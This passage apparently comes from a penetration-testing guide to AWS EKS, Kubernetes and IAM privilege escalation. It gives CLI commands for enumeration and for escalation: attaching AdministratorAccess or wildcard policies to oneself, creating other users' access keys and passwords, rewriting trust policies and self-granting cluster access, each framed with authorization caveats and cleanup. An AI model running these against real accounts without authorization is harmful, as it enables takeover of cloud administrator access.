CI/CD to cloud admin
CodeBuild/GitHub/GitLab role
-> Broad AWS permissions
-> Deployment role
-> Production access
Terraform state to secrets
Read tfstate bucket
-> Extract credentials/secrets/outputs
-> Pivot to services/accounts
Note with tfstate it often contains sensitive data.
20. Safe Validation Steps In Prod
AssumeRole proof without exposing credentials
aws sts assume-role \
--role-arn <ROLE_ARN> \
--role-session-name pt-validation \
--duration-seconds 900 \
--query 'AssumedRoleUser.Arn' \
--output text
Metadata-only production validation
aws --profile <PROD_PROFILE> sts get-caller-identity
aws --profile <PROD_PROFILE> iam list-account-aliases
aws --profile <PROD_PROFILE> eks list-clusters --region "$REGION"
aws --profile <PROD_PROFILE> rds describe-db-instances --region "$REGION"
aws --profile <PROD_PROFILE> secretsmanager list-secrets --region "$REGION"
aws --profile <PROD_PROFILE> ssm describe-parameters --region "$REGION"
Canary object validation
Ask client to create:
S3 object: s3://client-approved-bucket/pentest-canary.txt
Secret: pentest/canary
SSM parameter: /pentest/canary
Then access only that canary.
Benign Kubernetes write validation
Only if authorized:
NS="pt-validation-$(date +%s)"
kubectl --context <CONTEXT> create namespace "$NS"
kubectl --context <CONTEXT> -n "$NS" create configmap pt-proof \
--from-literal=created_by=redteam \
--from-literal=purpose=cluster-admin-validation
kubectl --context <CONTEXT> -n "$NS" get configmap pt-proof
kubectl --context <CONTEXT> delete namespace "$NS"
AWS EKS and Kubernetes Pentesting Continued
1. EKS Enumeration: AWS-Side
List EKS clusters in one region
aws eks list-clusters \
--region <REGION> \
--output table
Example:
aws eks list-clusters \
--region ap-southeast-2 \
--output table
Look for:
development clusters
test clusters
staging clusters
production clusters
shared services clusters
List EKS clusters across all regions
for region in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do
echo "===== $region ====="
aws eks list-clusters --region "$region" --output table 2>/dev/null
done
Describe cluster security-relevant metadata
aws eks describe-cluster \
--region <REGION> \
--name <CLUSTER_NAME> \
--query 'cluster.{
name:name,
arn:arn,
status:status,
version:version,
endpoint:endpoint,
publicEndpoint:resourcesVpcConfig.endpointPublicAccess,
privateEndpoint:resourcesVpcConfig.endpointPrivateAccess,
publicCidrs:resourcesVpcConfig.publicAccessCidrs,
authenticationMode:accessConfig.authenticationMode,
bootstrapClusterCreatorAdminPermissions:accessConfig.bootstrapClusterCreatorAdminPermissions,
roleArn:roleArn,
oidcIssuer:identity.oidc.issuer,
securityGroupIds:resourcesVpcConfig.securityGroupIds,
subnetIds:resourcesVpcConfig.subnetIds
}' \
--output yaml
Look for:
endpointPublicAccess: true
publicCidrs: 0.0.0.0/0
authenticationMode: CONFIG_MAP
authenticationMode: API_AND_CONFIG_MAP
bootstrapClusterCreatorAdminPermissions: true
OIDC issuer configured
Interpretation
| Field | Pentest Meaning |
|---|---|
endpointPublicAccess: true |
Kubernetes API is reachable publicly, depending on CIDR restrictions |
publicCidrs: 0.0.0.0/0 |
API endpoint may be reachable from anywhere |
authenticationMode: CONFIG_MAP |
Legacy aws-auth controls access |
authenticationMode: API |
EKS Access Entries control access |
authenticationMode: API_AND_CONFIG_MAP |
Both legacy and new access methods apply |
bootstrapClusterCreatorAdminPermissions: true |
Cluster creator may retain admin rights |
oidcIssuer |
IRSA may be in use |
2. EKS Access Entries
EKS Access Entries are the newer AWS-managed way to map IAM principals into Kubernetes.
List access entries
aws eks list-access-entries \
--region <REGION> \
--cluster-name <CLUSTER_NAME> \
--output table
Look for principals such as:
tf-automation
terraform
deployment
admin
AWSReservedSSO_AdministratorAccess
node group roles
CI/CD roles
security audit roles
Describe an access entry
aws eks describe-access-entry \
--region <REGION> \
--cluster-name <CLUSTER_NAME> \
--principal-arn <PRINCIPAL_ARN> \
--output yaml
Look for:
principalArn: arn:aws:iam::<ACCOUNT_ID>:role/tf-automation
kubernetesGroups: []
username: arn:aws:sts::<ACCOUNT_ID>:assumed-role/tf-automation/{{SessionName}}
type: STANDARD
Important:
kubernetesGroups: []
does not necessarily mean no access. The principal may have EKS Access Policies associated separately.
List associated EKS access policies
aws eks list-associated-access-policies \
--region <REGION> \
--cluster-name <CLUSTER_NAME> \
--principal-arn <PRINCIPAL_ARN> \
--output yaml
Look for:
AmazonEKSClusterAdminPolicy
AmazonEKSAdminPolicy
AmazonEKSEditPolicy
AmazonEKSViewPolicy
Interpretation
| EKS Policy | Meaning |
|---|---|
AmazonEKSClusterAdminPolicy |
Cluster-wide admin |
AmazonEKSAdminPolicy |
Broad admin-style access |
AmazonEKSEditPolicy |
Can modify many resources |
AmazonEKSViewPolicy |
Read-only visibility |
accessScope: type: cluster |
Applies cluster-wide |
accessScope: type: namespace |
Scoped to specific namespaces |
Example high-impact evidence:
associatedAccessPolicies:
- accessScope:
namespaces: []
type: cluster
policyArn: arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy
This indicates cluster-wide admin access.
3. Adding EKS to Kubeconfig
Add cluster using current AWS identity
aws eks update-kubeconfig \
--region <REGION> \
--name <CLUSTER_NAME> \
--alias <CONTEXT_ALIAS>
Example:
aws eks update-kubeconfig \
--region ap-southeast-2 \
--name eks-test-DPJ3Eq \
--alias eks-test
Add cluster using a specific IAM role
aws eks update-kubeconfig \
--region <REGION> \
--name <CLUSTER_NAME> \
--alias <CONTEXT_ALIAS> \
--user-alias <USER_ALIAS> \
--role-arn arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>
Example:
aws eks update-kubeconfig \
--region ap-southeast-2 \
--name eks-production-XD3ylC \
--alias prod-via-tf \
--user-alias prod-via-tf-user \
--role-arn arn:aws:iam::719713902144:role/tf-automation
Check contexts
kubectl config get-contexts
Switch context
kubectl config use-context <CONTEXT_NAME>
Unset current context
kubectl config unset current-context
4. Kubernetes Authentication and Authorization Checks
Check Kubernetes identity
kubectl --context <CONTEXT> auth whoami
Look for:
Username
Groups
Extra: arn
Extra: canonicalArn
Extra: sessionName
Example:
Username: arn:aws:sts::719713902144:assumed-role/tf-automation/EKSGetTokenAuth
Groups: [system:authenticated]
Extra: canonicalArn [arn:aws:iam::719713902144:role/tf-automation]
This proves the AWS principal can authenticate to the Kubernetes API.
Authentication vs authorization
| Result | Meaning |
|---|---|
Unauthorized |
Principal is not mapped into cluster or token/profile is wrong |
Forbidden |
Principal authenticated, but RBAC/EKS policy denied the action |
system:authenticated only |
Authenticated, but no obvious Kubernetes group grants |
AmazonEKSClusterAdminPolicy |
Access may come from EKS authorizer, not visible as Kubernetes group |
Check direct permissions
kubectl --context <CONTEXT> auth can-i list namespaces
kubectl --context <CONTEXT> auth can-i get nodes
kubectl --context <CONTEXT> auth can-i list pods --all-namespaces
kubectl --context <CONTEXT> auth can-i get secrets --all-namespaces
kubectl --context <CONTEXT> auth can-i create pods --all-namespaces
kubectl --context <CONTEXT> auth can-i create pods/exec --all-namespaces
kubectl --context <CONTEXT> auth can-i create serviceaccounts/token --all-namespaces
kubectl --context <CONTEXT> auth can-i create clusterrolebindings.rbac.authorization.k8s.io
kubectl --context <CONTEXT> auth can-i '*' '*' --all-namespaces
can-i --list caveat
kubectl --context <CONTEXT> auth can-i --list
You may see:
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
This is common with EKS Access Policies. The output may not fully show permissions granted by the EKS authorizer.
Prefer direct checks like:
kubectl --context <CONTEXT> auth can-i '*' '*' --all-namespaces
5. Safe Kubernetes Enumeration
Cluster-level metadata
kubectl --context <CONTEXT> get ns
kubectl --context <CONTEXT> get nodes
kubectl --context <CONTEXT> get events -A
Workloads
kubectl --context <CONTEXT> get pods -A
kubectl --context <CONTEXT> get deployments -A
kubectl --context <CONTEXT> get daemonsets -A
kubectl --context <CONTEXT> get statefulsets -A
kubectl --context <CONTEXT> get jobs -A
kubectl --context <CONTEXT> get cronjobs -A
Services and ingress
kubectl --context <CONTEXT> get svc -A
kubectl --context <CONTEXT> get ingress -A
kubectl --context <CONTEXT> get endpoints -A
Look for:
LoadBalancer services
Public ingress hosts
Internal admin services
Unusual exposed ports
Service accounts
kubectl --context <CONTEXT> get serviceaccounts -A
Find service accounts with IRSA roles:
kubectl --context <CONTEXT> get serviceaccounts -A -o json | jq -r '
.items[] |
select(.metadata.annotations["eks.amazonaws.com/role-arn"] != null) |
[
.metadata.namespace,
.metadata.name,
.metadata.annotations["eks.amazonaws.com/role-arn"]
] | @tsv
'
ConfigMaps
kubectl --context <CONTEXT> get configmaps -A
Secrets
Check whether access is possible:
kubectl --context <CONTEXT> auth can-i get secrets --all-namespaces
kubectl --context <CONTEXT> auth can-i list secrets --all-namespaces
Metadata-only:
kubectl --context <CONTEXT> get secrets -A
Avoid:
kubectl get secrets -A -o yaml
unless explicitly authorized.
6. Kubernetes RBAC Enumeration
List roles and cluster roles
kubectl --context <CONTEXT> get roles -A
kubectl --context <CONTEXT> get clusterroles
List role bindings and cluster role bindings
kubectl --context <CONTEXT> get rolebindings -A
kubectl --context <CONTEXT> get clusterrolebindings
Find cluster-admin bindings
kubectl --context <CONTEXT> get clusterrolebindings -o json | jq -r '
.items[] |
select(.roleRef.name=="cluster-admin") |
{
name: .metadata.name,
subjects: .subjects
}
'
Look for subjects such as:
system:masters
IAM-mapped users
IAM-mapped roles
default service accounts
CI/CD service accounts
Find risky service account bindings
kubectl --context <CONTEXT> get clusterrolebindings -o json | jq -r '
.items[] |
select(.subjects[]? .kind=="ServiceAccount") |
[
.metadata.name,
.roleRef.name,
(.subjects[]? | select(.kind=="ServiceAccount") | "\(.namespace)/\(.name)")
] | @tsv
'
7. Kubernetes Workload Security Checks
Find privileged containers
kubectl --context <CONTEXT> get pods -A -o json | jq -r '
.items[] as $pod |
$pod.spec.containers[]? |
select(.securityContext.privileged == true) |
[
$pod.metadata.namespace,
$pod.metadata.name,
.name
] | @tsv
'
Find hostPath mounts
kubectl --context <CONTEXT> get pods -A -o json | jq -r '
.items[] |
select(.spec.volumes[]? .hostPath != null) |
[
.metadata.namespace,
.metadata.name,
(.spec.volumes[]? | select(.hostPath != null) | .hostPath.path)
] | @tsv
'
Find hostNetwork pods
kubectl --context <CONTEXT> get pods -A -o json | jq -r '
.items[] |
select(.spec.hostNetwork == true) |
[
.metadata.namespace,
.metadata.name
] | @tsv
'
Find hostPID or hostIPC pods
kubectl --context <CONTEXT> get pods -A -o json | jq -r '
.items[] |
select(.spec.hostPID == true or .spec.hostIPC == true) |
[
.metadata.namespace,
.metadata.name,
.spec.hostPID,
.spec.hostIPC
] | @tsv
'
Find pods using default service accounts
kubectl --context <CONTEXT> get pods -A -o json | jq -r '
.items[] |
select(.spec.serviceAccountName == "default" or .spec.serviceAccountName == null) |
[
.metadata.namespace,
.metadata.name,
(.spec.serviceAccountName // "default")
] | @tsv
'
Find pods with automounted service account tokens
kubectl --context <CONTEXT> get pods -A -o json | jq -r '
.items[] |
select(.spec.automountServiceAccountToken != false) |
[
.metadata.namespace,
.metadata.name,
(.spec.serviceAccountName // "default"),
(.spec.automountServiceAccountToken // "default-true")
] | @tsv
'
8. EKS Attack Paths
Attack Path 1: AWS principal can assume EKS admin role
IAM user/role
-> sts:AssumeRole
EKS-mapped IAM role
-> AmazonEKSClusterAdminPolicy
Kubernetes cluster-admin
Test
aws sts assume-role \
--role-arn arn:aws:iam::<ACCOUNT_ID>:role/<EKS_ADMIN_ROLE> \
--role-session-name pt-eks-admin-test \
--duration-seconds 900 \
--query 'AssumedRoleUser.Arn' \
--output text
Then:
aws eks list-associated-access-policies \
--region <REGION> \
--cluster-name <CLUSTER_NAME> \
--principal-arn arn:aws:iam::<ACCOUNT_ID>:role/<EKS_ADMIN_ROLE> \
--output yaml
Look for:
AmazonEKSClusterAdminPolicy
Attack Path 2: AWS permissions allow self-granting EKS access
Required permissions may include:
eks:CreateAccessEntry
eks:AssociateAccessPolicy
eks:DescribeAccessEntry
eks:ListAccessEntries
Safe view-only validation
Only if approved:
CURRENT_ARN=$(aws sts get-caller-identity --query Arn --output text)
aws eks create-access-entry \
--region <REGION> \
--cluster-name <CLUSTER_NAME> \
--principal-arn "$CURRENT_ARN" \
--type STANDARD
aws eks associate-access-policy \
--region <REGION> \
--cluster-name <CLUSTER_NAME> \
--principal-arn "$CURRENT_ARN" \
--policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSViewPolicy \
--access-scope type=cluster
Cleanup
aws eks disassociate-access-policy \
--region <REGION> \
--cluster-name <CLUSTER_NAME> \
--principal-arn "$CURRENT_ARN" \
--policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSViewPolicy
aws eks delete-access-entry \
--region <REGION> \
--cluster-name <CLUSTER_NAME> \
--principal-arn "$CURRENT_ARN"
Impact
If the principal can associate:
AmazonEKSClusterAdminPolicy
then it can grant itself cluster-admin.
Attack Path 3: Legacy aws-auth grants cluster-admin
If cluster uses:
CONFIG_MAP
API_AND_CONFIG_MAP
legacy aws-auth may still grant access.
Check authentication mode
aws eks describe-cluster \
--region <REGION> \
--name <CLUSTER_NAME> \
--query 'cluster.accessConfig' \
--output yaml
Inspect aws-auth
Only if authorized:
kubectl --context <CONTEXT> -n kube-system get configmap aws-auth -o yaml
Look for:
mapRoles:
- rolearn: arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>
groups:
- system:masters
Impact
Any principal that can assume a role mapped to:
system:masters
has Kubernetes cluster-admin.
Attack Path 4: Cluster-admin to AWS via IRSA
Kubernetes cluster-admin
-> Create/use service account with IRSA role
-> Obtain web identity token
-> sts:AssumeRoleWithWebIdentity
-> AWS IAM role credentials
Find IRSA service accounts
kubectl --context <CONTEXT> get serviceaccounts -A -o json | jq -r '
.items[] |
select(.metadata.annotations["eks.amazonaws.com/role-arn"] != null) |
[
.metadata.namespace,
.metadata.name,
.metadata.annotations["eks.amazonaws.com/role-arn"]
] | @tsv
'
Check if token creation is allowed
kubectl --context <CONTEXT> auth can-i create serviceaccounts/token -n <NAMESPACE>
Assume IRSA role with token
Only if approved:
TOKEN=$(kubectl --context <CONTEXT> -n <NAMESPACE> create token <SERVICE_ACCOUNT> \
--audience sts.amazonaws.com \
--duration=15m)
aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::<ACCOUNT_ID>:role/<IRSA_ROLE> \
--role-session-name pt-irsa-validation \
--web-identity-token "$TOKEN" \
--duration-seconds 900 \
--query 'AssumedRoleUser.Arn' \
--output text
Attack Path 5: Workload exec to cloud credentials
Kubernetes pod exec permission
-> Access workload environment
-> Use pod service account / IRSA credentials
-> AWS API access
Check:
kubectl --context <CONTEXT> auth can-i create pods/exec -n <NAMESPACE>
Avoid executing into production pods as you might inadventrly mess something up : )
Attack Path 6: Privileged pod to node compromise
Kubernetes create pods
-> Create privileged pod with hostPath
-> Access node filesystem/runtime
-> Potential node IAM role access
Check whether pod creation is allowed:
kubectl --context <CONTEXT> auth can-i create pods -n <NAMESPACE>
Check existing risky pods:
kubectl --context <CONTEXT> get pods -A -o json | jq -r '
.items[] |
select(
(.spec.hostNetwork == true) or
(.spec.hostPID == true) or
(.spec.containers[]? .securityContext.privileged == true) or
(.spec.volumes[]? .hostPath != null)
) |
[
.metadata.namespace,
.metadata.name
] | @tsv
'
Do not deploy privileged pods in production unless you know what you are doing
IAM Privilege Escalation Paths
1. IAM Privilege Escalation Methodology
Step 1: Identify current principal
aws sts get-caller-identity
Record:
Account
Arn
UserId
Step 2: Identify attached and inline permissions
For IAM user:
USER_NAME=$(aws sts get-caller-identity --query Arn --output text | awk -F'/' '{print $NF}')
aws iam list-attached-user-policies --user-name "$USER_NAME"
aws iam list-user-policies --user-name "$USER_NAME"
aws iam list-groups-for-user --user-name "$USER_NAME"
For role:
CALLER_ARN=$(aws sts get-caller-identity --query Arn --output text)
ROLE_NAME=$(echo "$CALLER_ARN" | awk -F'/' '/assumed-role/ {print $(NF-1)}')
aws iam list-attached-role-policies --role-name "$ROLE_NAME"
aws iam list-role-policies --role-name "$ROLE_NAME"
Step 3: Search for dangerous permissions
Look for:
iam:AttachUserPolicy
iam:PutUserPolicy
iam:AddUserToGroup
iam:CreateAccessKey
iam:CreateLoginProfile
iam:UpdateLoginProfile
iam:CreateRole
iam:AttachRolePolicy
iam:PutRolePolicy
iam:UpdateAssumeRolePolicy
iam:PassRole
iam:CreatePolicyVersion
iam:SetDefaultPolicyVersion
lambda:CreateFunction
lambda:UpdateFunctionCode
ec2:RunInstances
ssm:SendCommand
codebuild:CreateProject
codebuild:StartBuild
cloudformation:CreateStack
eks:CreateAccessEntry
eks:AssociateAccessPolicy
2. IAM Privilege Escalation Summary Table
| Path | Required Permission(s) | Result |
|---|---|---|
| Attach admin policy to self | iam:AttachUserPolicy |
User becomes admin |
| Add inline admin policy to self | iam:PutUserPolicy |
User becomes admin |
| Add self to admin group | iam:AddUserToGroup |
User inherits group admin |
| Create access key for privileged user | iam:CreateAccessKey |
API access as privileged user |
| Reset console password | iam:CreateLoginProfile, iam:UpdateLoginProfile |
Console access as user |
| Attach admin policy to assumable role | iam:AttachRolePolicy, sts:AssumeRole |
Assume admin role |
| Modify role trust policy | iam:UpdateAssumeRolePolicy |
Make role assumable |
| Create new admin role | iam:CreateRole, iam:AttachRolePolicy, sts:AssumeRole |
New admin role |
| Pass role to compute | iam:PassRole + compute service |
Code execution as role |
| CodeBuild abuse | codebuild:* + iam:PassRole |
Command execution as build role |
| Lambda abuse | lambda:* + iam:PassRole |
Code execution as Lambda role |
| CloudFormation abuse | cloudformation:* + iam:PassRole |
Create privileged resources |
| EKS access entry abuse | eks:CreateAccessEntry, eks:AssociateAccessPolicy |
Kubernetes admin/view/edit |
| Policy version abuse | iam:CreatePolicyVersion, iam:SetDefaultPolicyVersion |
Make existing policy admin |
3. Path: Attach AdministratorAccess to Self
Required
iam:AttachUserPolicy
Check current user
aws sts get-caller-identity
Active validation
Only against a canary/test user unless approved:
aws iam attach-user-policy \
--user-name <USER_NAME> \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
Confirm
aws iam list-attached-user-policies \
--user-name <USER_NAME>
Cleanup
aws iam detach-user-policy \
--user-name <USER_NAME> \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
Finding
Principal can attach AdministratorAccess to IAM users.
4. Path: Add Inline Admin Policy to Self
Required
iam:PutUserPolicy
Active validation
aws iam put-user-policy \
--user-name <USER_NAME> \
--policy-name PT-Validation-AdminPolicy \
--policy-document '{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}'
Cleanup
aws iam delete-user-policy \
--user-name <USER_NAME> \
--policy-name PT-Validation-AdminPolicy
Safer validation
Use harmless action instead of admin:
aws iam put-user-policy \
--user-name <USER_NAME> \
--policy-name PT-Validation-ListOnly \
--policy-document '{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "cloudwatch:ListMetrics",
"Resource": "*"
}
]
}'
5. Path: Add Self to Admin Group
Required
iam:AddUserToGroup
Find groups
aws iam list-groups
Look for:
Admin
Administrators
PowerUsers
Developers
OrganizationAccountAccess
Inspect group policies
aws iam list-attached-group-policies \
--group-name <GROUP_NAME>
aws iam list-group-policies \
--group-name <GROUP_NAME>
Active validation
aws iam add-user-to-group \
--group-name <GROUP_NAME> \
--user-name <USER_NAME>
Cleanup
aws iam remove-user-from-group \
--group-name <GROUP_NAME> \
--user-name <USER_NAME>
6. Path: Create Access Key for Privileged User
Required
iam:CreateAccessKey
Risk
This can create API credentials for another IAM user. Treat as sensitive and only test against a client-approved canary user.
List users
aws iam list-users \
--query 'Users[].{UserName:UserName,Arn:Arn,PasswordLastUsed:PasswordLastUsed}' \
--output table
Check user policies
aws iam list-attached-user-policies \
--user-name <TARGET_USER>
aws iam list-groups-for-user \
--user-name <TARGET_USER>
Active validation against canary user only
aws iam create-access-key \
--user-name <CANARY_USER>
Cleanup
aws iam delete-access-key \
--user-name <CANARY_USER> \
--access-key-id <ACCESS_KEY_ID>
Finding
Principal can create access keys for other IAM users, enabling impersonation of privileged users.
7. Path: Create or Reset Console Password
Required
iam:CreateLoginProfile
iam:UpdateLoginProfile
Check if user has login profile
aws iam get-login-profile \
--user-name <TARGET_USER>
Active validation against canary user only
Create login profile:
aws iam create-login-profile \
--user-name <CANARY_USER> \
--password '<TEMPORARY_COMPLEX_PASSWORD>' \
--password-reset-required
Update login profile:
aws iam update-login-profile \
--user-name <CANARY_USER> \
--password '<TEMPORARY_COMPLEX_PASSWORD>' \
--password-reset-required
Cleanup
aws iam delete-login-profile \
--user-name <CANARY_USER>
Finding
Principal can create or reset IAM console passwords, allowing impersonation of IAM users.
8. Path: Attach Admin Policy to an Assumable Role
Required
iam:AttachRolePolicy
sts:AssumeRole
Find roles
aws iam list-roles \
--query 'Roles[].{RoleName:RoleName,Arn:Arn}' \
--output table
Check role trust
aws iam get-role \
--role-name <ROLE_NAME> \
--query 'Role.AssumeRolePolicyDocument' \
--output json
Look for trust that includes your user, your role, your account root, or broad principals.
Active validation
aws iam attach-role-policy \
--role-name <ROLE_NAME> \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
Then:
aws sts assume-role \
--role-arn arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME> \
--role-session-name pt-role-escalation \
--duration-seconds 900 \
--query 'AssumedRoleUser.Arn' \
--output text
Cleanup
aws iam detach-role-policy \
--role-name <ROLE_NAME> \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
9. Path: Add Inline Admin Policy to Role
Required
iam:PutRolePolicy
sts:AssumeRole
Active validation
aws iam put-role-policy \
--role-name <ROLE_NAME> \
--policy-name PT-Validation-AdminPolicy \
--policy-document '{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}'
Assume role:
aws sts assume-role \
--role-arn arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME> \
--role-session-name pt-role-escalation \
--duration-seconds 900 \
--query 'AssumedRoleUser.Arn' \
--output text
Cleanup
aws iam delete-role-policy \
--role-name <ROLE_NAME> \
--policy-name PT-Validation-AdminPolicy
10. Path: Modify Role Trust Policy
Required
iam:UpdateAssumeRolePolicy
sts:AssumeRole
Current identity
CALLER_ARN=$(aws sts get-caller-identity --query Arn --output text)
echo "$CALLER_ARN"
Create trust policy
For IAM user:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:user/<USER_NAME>"
},
"Action": "sts:AssumeRole"
}
]
}
For IAM role:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
},
"Action": "sts:AssumeRole"
}
]
}
Active validation
aws iam update-assume-role-policy \
--role-name <TARGET_ROLE_NAME> \
--policy-document file://trust.json
Then:
aws sts assume-role \
--role-arn arn:aws:iam::<ACCOUNT_ID>:role/<TARGET_ROLE_NAME> \
--role-session-name pt-trust-validation \
--duration-seconds 900 \
--query 'AssumedRoleUser.Arn' \
--output text
Cleanup
Restore the original trust policy. Always save it before modification:
aws iam get-role \
--role-name <TARGET_ROLE_NAME> \
--query 'Role.AssumeRolePolicyDocument' \
--output json > original-trust.json
11. Path: Create a New Admin Role
Required
iam:CreateRole
iam:AttachRolePolicy or iam:PutRolePolicy
sts:AssumeRole
Create trust policy
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
CALLER_ARN=$(aws sts get-caller-identity --query Arn --output text)
For IAM user principal, create trust.json:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "<CALLER_ARN>"
},
"Action": "sts:AssumeRole"
}
]
}
Replace <CALLER_ARN> with your actual ARN.
Active validation
aws iam create-role \
--role-name PT-AssumableAdmin \
--assume-role-policy-document file://trust.json \
--description "Temporary pentest validation role"
aws iam attach-role-policy \
--role-name PT-AssumableAdmin \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws sts assume-role \
--role-arn arn:aws:iam::<ACCOUNT_ID>:role/PT-AssumableAdmin \
--role-session-name pt-created-admin \
--duration-seconds 900 \
--query 'AssumedRoleUser.Arn' \
--output text
Cleanup
aws iam detach-role-policy \
--role-name PT-AssumableAdmin \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam delete-role \
--role-name PT-AssumableAdmin
12. Path: Managed Policy Version Escalation
Required
iam:CreatePolicyVersion
iam:SetDefaultPolicyVersion
Risk
If a user can create a new version of an attached customer-managed policy and set it as default, they can turn an existing limited policy into admin.
Identify customer managed policies
aws iam list-policies \
--scope Local \
--query 'Policies[].{Name:PolicyName,Arn:Arn,DefaultVersion:DefaultVersionId,AttachmentCount:AttachmentCount}' \
--output table
Check policy
aws iam get-policy \
--policy-arn <POLICY_ARN>
Active validation
Only if approved:
aws iam create-policy-version \
--policy-arn <POLICY_ARN> \
--policy-document '{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}' \
--set-as-default
Cleanup
You must restore the previous default version and delete the test version.
List versions:
aws iam list-policy-versions \
--policy-arn <POLICY_ARN>
Set original default:
aws iam set-default-policy-version \
--policy-arn <POLICY_ARN> \
--version-id <ORIGINAL_VERSION_ID>
Delete test version:
aws iam delete-policy-version \
--policy-arn <POLICY_ARN> \
--version-id <TEST_VERSION_ID>
13. Path: PassRole + EC2 RunInstances
Required
iam:PassRole
ec2:RunInstances
Impact
Can launch an EC2 instance with a privileged instance profile. If the tester has OS access to the instance, they can retrieve role credentials from IMDS.
Check PassRole simulation
aws iam simulate-principal-policy \
--policy-source-arn <CALLER_PRINCIPAL_ARN> \
--action-names iam:PassRole ec2:RunInstances \
--resource-arns arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME> "*" \
--output yaml
Look for instance profiles
aws iam list-instance-profiles
Safer validation
Principal can pass privileged role and run EC2 instances.
14. Path: PassRole + Lambda
Required
iam:PassRole
lambda:CreateFunction
lambda:UpdateFunctionCode
lambda:InvokeFunction
Impact
Can execute code as the Lambda execution role.
Enumerate Lambda roles
aws lambda list-functions \
--region <REGION> \
--query 'Functions[].{Name:FunctionName,Role:Role,Runtime:Runtime}' \
--output table
Check if role can be passed
aws iam simulate-principal-policy \
--policy-source-arn <CALLER_PRINCIPAL_ARN> \
--action-names iam:PassRole lambda:CreateFunction \
--resource-arns arn:aws:iam::<ACCOUNT_ID>:role/<LAMBDA_ROLE> "*" \
--output yaml
Finding
Principal can create or modify Lambda functions with privileged execution roles, enabling code execution under those roles.
15. Path: PassRole + CodeBuild
Required
iam:PassRole
codebuild:CreateProject
codebuild:UpdateProject
codebuild:StartBuild
Impact
Can run arbitrary build commands as the CodeBuild service role.
Enumerate CodeBuild projects
aws codebuild list-projects \
--region <REGION>
aws codebuild batch-get-projects \
--names <PROJECT_NAME> \
--region <REGION>
Look for:
serviceRole
privilegedMode
environment variables
secrets
VPC access
Finding
Principal can start or modify CodeBuild projects using privileged service roles, enabling command execution as those roles.
16. Path: PassRole + ECS RunTask
Required
iam:PassRole
ecs:RunTask
ecs:RegisterTaskDefinition
Impact
Can run containers with privileged task roles.
Enumerate task definitions
aws ecs list-task-definitions \
--region <REGION>
Describe task definition
aws ecs describe-task-definition \
--task-definition <TASK_DEFINITION> \
--region <REGION>
Look for:
taskRoleArn
executionRoleArn
secrets
environment
privileged
Finding
Principal can run ECS tasks with privileged task roles, enabling code execution under those AWS permissions.
17. Path: CloudFormation Stack Creation
Required
cloudformation:CreateStack
cloudformation:UpdateStack
iam:PassRole
Impact
Can create privileged IAM roles, policies, Lambda functions, or other infrastructure indirectly through CloudFormation.
Check stacks
aws cloudformation list-stacks \
--region <REGION> \
--stack-status-filter CREATE_COMPLETE UPDATE_COMPLETE
Check if caller can pass CloudFormation execution role
aws iam simulate-principal-policy \
--policy-source-arn <CALLER_PRINCIPAL_ARN> \
--action-names iam:PassRole cloudformation:CreateStack \
--resource-arns arn:aws:iam::<ACCOUNT_ID>:role/<CFN_EXECUTION_ROLE> "*" \
--output yaml
Finding
Principal can use CloudFormation with a privileged execution role to create or modify privileged AWS resources.
18. Path: EKS Access Entry Self-Grant
Required
eks:CreateAccessEntry
eks:AssociateAccessPolicy
Safe validation
Use view-only if approved:
CURRENT_ARN=$(aws sts get-caller-identity --query Arn --output text)
aws eks create-access-entry \
--region <REGION> \
--cluster-name <CLUSTER_NAME> \
--principal-arn "$CURRENT_ARN" \
--type STANDARD
aws eks associate-access-policy \
--region <REGION> \
--cluster-name <CLUSTER_NAME> \
--principal-arn "$CURRENT_ARN" \
--policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSViewPolicy \
--access-scope type=cluster
Admin impact
If allowed to associate:
AmazonEKSClusterAdminPolicy
then the principal can grant itself cluster-admin.
Cleanup
aws eks disassociate-access-policy \
--region <REGION> \
--cluster-name <CLUSTER_NAME> \
--principal-arn "$CURRENT_ARN" \
--policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSViewPolicy
aws eks delete-access-entry \
--region <REGION> \
--cluster-name <CLUSTER_NAME> \
--principal-arn "$CURRENT_ARN"
19. Path: Existing Broad Trust Role
Required
sts:AssumeRole
Target role trust may allow broad assumption.
Enumerate roles with broad trust
aws iam list-roles --output json | jq -r '
.Roles[] |
select(
(.AssumeRolePolicyDocument.Statement[]? .Principal.AWS? == "*") or
((.AssumeRolePolicyDocument.Statement[]? .Principal.AWS? | tostring) | contains(":root"))
) |
[
.RoleName,
.Arn,
(.AssumeRolePolicyDocument.Statement[]? .Principal.AWS? | tostring)
] | @tsv
'
Look for trust like:
"Principal": {
"AWS": "*"
}
or:
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:root"
}
or conditions like:
